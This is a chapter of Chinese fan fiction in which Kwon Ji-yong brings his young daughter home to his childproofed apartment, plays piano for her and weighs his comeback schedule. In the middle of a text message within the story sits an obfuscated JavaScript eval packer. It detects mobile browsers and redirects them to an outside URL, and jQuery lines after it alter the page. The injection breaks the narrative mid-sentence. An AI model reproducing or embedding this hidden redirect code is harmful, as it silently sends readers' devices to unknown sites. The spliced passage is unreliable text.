改造工程持续了整整五天。
权志龙带着贤智在多美家又住了两个晚上，第三天中午，室内设计师打来电话，说主体改造已经完成，只剩下一些软装细节和空气质量检测。多美提议再等两天，让新家具的味道散一散，但权志龙看着贤智每天睡在临时摇篮里、玩具堆在客厅角落，决定还是尽快回去。
“至少那里有真正的儿童房。”他对多美说，“她也需要熟悉自己的空间。”
多美没有反对，只是又多准备了一箱东西——空气净化器、加湿器、监控摄像头，还有一张打印出来的《婴幼儿家庭安全自查清单》。
搬回去那天是周二，十一月初的首尔，天气难得的晴朗高远。金南国开了一辆空间更大的SUV来接他们，后备箱塞满了贤智的行李：衣服、玩具、绘本、奶粉、尿布、辅食……多美又添置了不少东西，以至于权志龙自己的行军包只能挤在角落。
贤智被权志龙抱着，身上裹着一件新买的浅灰色羊绒小斗篷，帽子边缘有一圈柔软的白色绒毛。她似乎意识到今天有些不同，一路上都很安静，只是把小脸贴在权志龙颈窝，眼睛看着窗外飞逝的、沐浴在秋日澄澈阳光下的街景。
车子驶入汉南洞那栋熟悉的大楼地下车库时，权志龙感到一阵莫名的紧张。他在这里住了很多年，这里的每一寸空间都烙印着他作为“G-Dragon”的痕迹——音乐、艺术、派对、不眠的创作之夜，以及那些独自面对空旷房间的寂静时刻。
但现在，他要带着一个一岁半的女儿回来。
电梯平稳上升。权志龙抱着贤智，金南国推着堆满行李的推车。电梯镜面映出他们的身影，贤智帽子上的绒毛在顶灯下泛着柔软的光泽。
“叮。”
门开了。
玄关的感应灯自动亮起，照亮了焕然一新的空间。
权志龙站在门口，有那么几秒钟，几乎认不出这是自己的家。
原先冰冷的大理石地板大部分区域铺上了厚实的浅灰色地毯，边缘固定得整齐利落。客厅中央那张线条凌厉的黑色大理石茶几不见了，取而代之的是一张低矮的圆形木桌，边角打磨成柔和的弧度。原本靠墙摆放的一排限量版KAWS玩偶被移到了更高处的展示柜里，下方空出来的区域铺上了游戏垫，上面散落着几个新的软积木和布偶。
最显眼的变化在客厅一角。那里原本立着一座造型前卫的金属雕塑，现在雕塑被移到了书房，原地安装了一套组合式的儿童游戏架：有小小的滑梯、钻爬隧道和软包攀岩墙。色彩是柔和的莫兰迪色系，与整体空间的色调协调。
空气中没有新家具常有的刺鼻气味，只有淡淡的松木香和一丝隐约的、类似阳光晒过棉布的味道——是空气净化器和香薰系统共同作用的结果。
“设计师说所有材料都用了最高环保标准，甲醛检测已经达标。”金南国在他身后低声说，“儿童房的家具是实木的，涂料是水性漆。游戏区的所有边角都做了防护处理。”
权志龙点点头，抱着贤智走进去。他的脚步踩在地毯上，几乎没有声音。
贤智在他怀里动了动，小脑袋转来转去，好奇地打量着这个陌生的环境。她的目光首先被游戏区鲜艳的色彩吸引，盯着那架小滑梯看了很久。
权志龙抱着她，在客厅里慢慢走了一圈，让她看清楚每个角落。然后，他走向走廊尽头那间原本用作储藏室的房间。
门推开。
儿童房。
房间不大，但设计得极为用心。墙壁漆成了温柔的米白色，一面墙上手绘着简单的、线条流畅的云朵和星星图案。靠窗的位置放着一张实木婴儿床，床栏的高度可调节，铺着浅蓝色的床品。床边是一个矮矮的衣柜，旁边是带软垫的尿布台，台面上整齐摆放着湿巾、尿布和护肤霜。墙角立着一个小小的书架，已经摆上了多美买的那些绘本。
最让权志龙意外的是，房间另一侧靠墙放着一架小小的、看起来是定制尺寸的电子钢琴。琴身是奶白色的，琴键是柔和的浅灰色。旁边还有一个小小的、铺着软垫的儿童座椅。
“那是多美姐坚持要加的。”金南国站在门口解释，“她说，孩子应该从小接触音乐，而且……”他顿了顿，“她说，你可能会需要。”
权志龙走到钢琴边，用空着的那只手轻轻按下一个琴键。
清脆的、柔和的单音在安静的房间里响起。
贤智的注意力立刻被吸引了。她转过头，看向钢琴，眼睛睁得大大的。
权志龙又按了几个键，不成调，只是简单的音符跳跃。
贤智听着，然后，做了一个出乎意料的动作——她朝着钢琴的方向，伸出小手，张开五指，在空中抓了抓。
像在捕捉那些看不见的音符。
权志龙的心脏轻轻一颤。他抱着她在琴凳上坐下——琴凳也是特制的，足够宽大，可以容纳一个大人和一个孩子。他把贤智放在自己腿上，然后双手放在琴键上。
没有弹奏复杂的曲子，只是用右手，缓慢地、一个音符一个音符地，弹起了那首他这几天经常哼唱的、不知名的钢琴曲。
旋律很简单，甚至有些单调，但在安静的房间里，在午后的阳光透过百叶窗洒进来的光斑里，显得格外温柔。
贤智靠在他怀里，一动不动，只是仰着小脸，看着他的手指在琴键上移动。她的表情很专注，眼睛里映着窗外透进来的光。
一曲终了。
最后一个音符的余韵在空气中缓缓消散。
贤智低下头，看向琴键，然后伸出自己的小手，学着权志龙的样子，用一根食指，小心翼翼地按下一个白键。
“叮。”
她似乎被自己制造的声音吓了一跳，手指缩了缩。但很快，她又按了一下。
“叮。”
这一次，她抬起头，看向权志龙，嘴角又出现了那个极浅的、几乎看不见的上扬。
权志龙握着她的小手，带着她，一起按下一个和弦。
几个音符同时响起，在房间里共鸣。
贤智的眼睛亮了一下。她没有笑出声，但那种明亮的、近乎惊喜的眼神，比任何笑容都更清晰地传递了她的情绪。
金南国不知何时已经悄悄退了出去，带上了房门。
房间里只剩下他们父女俩，和窗外隐约的城市背景音。
权志龙抱着贤智，在琴凳上坐了很久。他弹一些简单的旋律，有时是童谣，有时是自己即兴的片段。贤智大部分时间都安静地听着，偶尔会伸出小手，碰碰琴键，制造一些不和谐但充满生命力的杂音。
直到贤智开始揉眼睛，露出困倦的神情，权志龙才停下，抱着她走向婴儿床。
换尿布，换睡衣，调暗灯光，把她放进铺着柔软床品的婴儿床里。贤智抱着她的破兔子玩偶，打了个小小的哈欠，但眼睛还睁着，看着他。
权志龙拉过床边的矮凳坐下，从书架上抽出一本绘本。“要听故事吗？”
贤智没说话，只是把兔子玩偶搂得更紧了些。
权志龙翻开绘本，开始读。他的声音不高，甚至有些生涩——他很久没有这样一字一句地朗读文字了。故事很简单，关于一只小熊找妈妈，最后在星星的指引下回到家。
读到小熊终于找到妈妈，和妈妈拥抱在一起时，权志龙的声音停顿了一下。
他抬起头，看向婴儿床里。
贤智已经睡着了。睫毛在脸颊上投下浅浅的阴影，小嘴微微张着，呼吸均匀。她的手还抓着兔子玩偶的耳朵，另一只小手伸出被子，五指微微蜷着。
权志龙轻轻握住那只小手，指尖传来温热的触感。
他合上绘本，放在一边，就这样坐在矮凳上，看着女儿熟睡的脸。
窗外的光线渐渐倾斜，从明亮的白转为温暖的橙黄。城市的喧嚣被厚重的玻璃和墙壁隔绝，房间里只有加湿器细微的嗡鸣，和贤智平稳的呼吸声。
手机在口袋里震动。权志龙拿出来看，是多美发来的消息：「安顿好了吗？孩子适应吗？」
他回复：「嗯。睡了。」
「那就好。晚上我让餐厅送餐过去，你别自己折腾了。记得看监控，我在我这边也连了一个。」
权志龙抬起头，看向墙角那个小巧的、几乎与墙面融为一体的监控摄像头。红色的指示灯微弱地闪烁着。
他又看向婴儿床里的贤智。
在这个曾经只属于他一个人的、充满音乐和艺术、也充满孤独和疲惫的空间里，现在多了一个小小的、沉睡的生命。
一切都变了。
但似乎，又有某种他一直缺失的东西，正在慢慢填补进来。
他轻轻松开贤智的小手，给她掖好被角，然后站起身，走到窗边。
窗外，汉江在夕阳下泛着金色的波光。远处的63大厦、首尔塔、鳞次栉比的高楼，都在暮色中逐渐亮起灯火。2019年深秋的首尔，依旧繁华而忙碌，尚未被全球性的阴霾笼罩。
这个城市，这个他成名、闪耀、也曾迷失的地方，此刻看起来有些陌生，又有些新鲜。
手机又震动了一下。这次是金南国：「志龙，杨社长助理来问企划书的反馈。我说你这周内会给答复。另外，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135655|196261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
税务申报的文件我已经带到公寓楼下了，保安会送上去。你签好字明天给我就行。」
权志龙回复：「好。」
他放下手机，走回婴儿床边，又看了贤智一会儿，然后轻轻退出房间，带上门。
客厅里，夕阳的余晖透过落地窗洒进来，将浅灰色的地毯染成温暖的蜜色。游戏区的滑梯在光影中投下长长的影子。
权志龙走到那个小小的电子钢琴旁——设计师在客厅也放了一架，比儿童房那架稍大，但同样是柔和的奶白色。他在琴凳上坐下，手指放在琴键上。
没有弹奏完整的曲子，只是让指尖在琴键上缓慢游走，让不成调的音符在空旷的客厅里随意流淌。
阳光在地毯上移动，一寸寸缩短。
当最后一线余晖从窗台消失，城市彻底被夜色和灯火接管时，权志龙停下了手。
他站起身，走到厨房，打开冰箱。里面已经被多美安排的人填满：新鲜蔬果、鸡蛋、牛奶，还有几盒标注着“婴儿辅食”的玻璃罐。冷冻层里甚至有分装好的高汤块和肉泥。
他拿出一瓶水，拧开喝了一口，然后走到客厅的监控显示屏前——是多美坚持要装的，可以同时查看儿童房、客厅和玄关的情况。
屏幕上，儿童房的画面里，贤智还在熟睡，小胸脯随着呼吸微微起伏。
权志龙盯着那个画面看了很久。
然后，他走向书房——那是唯一没有太大改动的房间。他的工作台、电脑、音乐设备、满墙的唱片和书籍，都还保持着原样。只是角落多了一个舒适的懒人沙发，旁边堆着几本新的绘本和育儿书。
他在工作台前坐下，打开了杨贤硕给的那份企划文件夹。
灯光下，那些精心设计的方案、华丽的视觉概念、密密麻麻的行程安排，再次摊开在他面前。
舞台。灯光。音乐。尖叫。掌声。
那些曾经构成他生命全部的东西，此刻看起来既熟悉，又遥远。
他翻到最后一页，是一份初步的时间表。明年一月，单曲录制；二月，MV拍摄；三月，正式发行，同时开始亚洲巡演预热；四月，首尔演唱会……
每一个日期，都意味着大量的时间投入，意味着出差，意味着深夜的排练，意味着无法被打破的日程。
而儿童房的监控画面里，那个小小的身影，还在安稳地睡着。
权志龙合上文件夹，靠在椅背上，闭上眼睛。
窗外的首尔，灯火璀璨，永不停歇。
窗内的这个家，曾经是他逃避世界的堡垒，如今，却成了他必须守护的巢。
手机屏幕亮起，显示着时间：晚上七点。
贤智通常七点半会醒来，需要喝奶，然后玩一会儿，八点半左右再次入睡。
权志龙站起身，走出书房，轻轻推开儿童房的门。
婴儿床里，贤智正好动了动，慢慢睁开眼睛。她没有哭闹，只是眨了眨眼，适应着昏暗的光线，然后看向门口的他。
权志龙走到床边，俯下身，轻声说：“醒了？”
贤智看着他，伸出小手。
他把她抱起来，感受着她睡醒后温热的身体和软软的依赖。
“饿不饿？”他问，抱着她走向厨房。
贤智把脸埋在他肩头，小脑袋蹭了蹭。
厨房的灯光温暖明亮。权志龙一手抱着她，另一手熟练地冲奶粉——这个动作，他已经练习了很多遍。
奶瓶的温度刚刚好。贤智抱着奶瓶，靠在他怀里，小口小口地喝着。客厅没有开主灯，只有厨房的照明和窗外城市的霓虹透进来，在墙壁上投下模糊的光影。
权志龙抱着她，在安静的客厅里慢慢踱步。
喝到一半，贤智停了下来，打了个奶嗝。权志龙轻轻拍她的背，她抬起头，看向他。
这一次，她的目光在他脸上停留了很久。然后，她伸出没拿奶瓶的那只手，用小小的指尖，碰了碰他的下巴——那里有新冒出的胡茬，有些刺手。
她的指尖在他的皮肤上停留了几秒，然后收回去，继续喝奶。
权志龙站在原地，一动不动。
窗外的夜色深沉，城市的灯火像散落在黑色天鹅绒上的碎钻。
怀里的孩子，温热的，真实的，依赖着他的。
手里的奶瓶，渐空。
这个在2019年深秋开始的、全新的、笨拙的、充满了未知挑战的生活，就这样，在这个重新布置过的家里，在首尔永不熄灭的灯火背景下，安静地继续着。
而权志龙知道，他选择的这条路，才刚刚开始。